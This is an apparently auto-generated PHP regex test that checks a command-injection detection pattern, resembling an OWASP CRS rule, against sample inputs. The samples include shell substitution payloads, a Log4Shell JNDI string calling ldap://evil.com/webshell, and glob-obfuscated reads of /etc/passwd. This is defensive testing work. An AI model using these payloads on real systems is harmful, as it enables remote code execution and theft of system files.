$re = '@\$(?:\((?:[^\(\)]*|\([^\(\)]*\))\)|\{[^\{\}]*\}|\[[^\[\]]*\])|[<>]\([^\(\)]*\)|(?:/[0-9A-Z_a-z]*\[!?[^/\]]+|\[[0-9A-Z_a-z]/+)\]@m';
$str = '/get?932130-1=$(cmd)
932130-2=${cmd}
931120-3=<(cmd)
>(cmd)=931120-4
{"foo": "${:1337:-x$}{jndi:ldap://evil.com/webshell}"}
var=0.84622338492032948`echo${IFS}crs312``echo${IFS}34test`
cat /etc/pa[s]swd
cat /[?]tc/pa[?]swd
/get?s=/etc/pas[s]wd"
/get?s=/etc/[!q]asswd
/get?s=/etc/[m-z]asswd
/get?s=/usr/bin/[u]name+-a
/get?exec=/bi[n]/bash
/get?932130-17=$([])
echo $(echo $(cat /etc/passwd))
echo ${asd}
cat /etc/[p//]asswd
cat /[e//]tc/[p//]asswd
cat /[e/////////]tc/[p//]asswd
ls a[b///]c
ls *[a//]c
# should not match
932130-5=Some text (in brackets).
hello [text in brackets]
take this math expression: 1/[a/-1]
plase calculate the following a/[b/1234*c]
';
preg_match_all($re, $str, $matches, PREG_SET_ORDER, 0);
// Print the entire match result
var_dump($matches);
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for PHP, please visit: http://php.net/manual/en/ref.pcre.php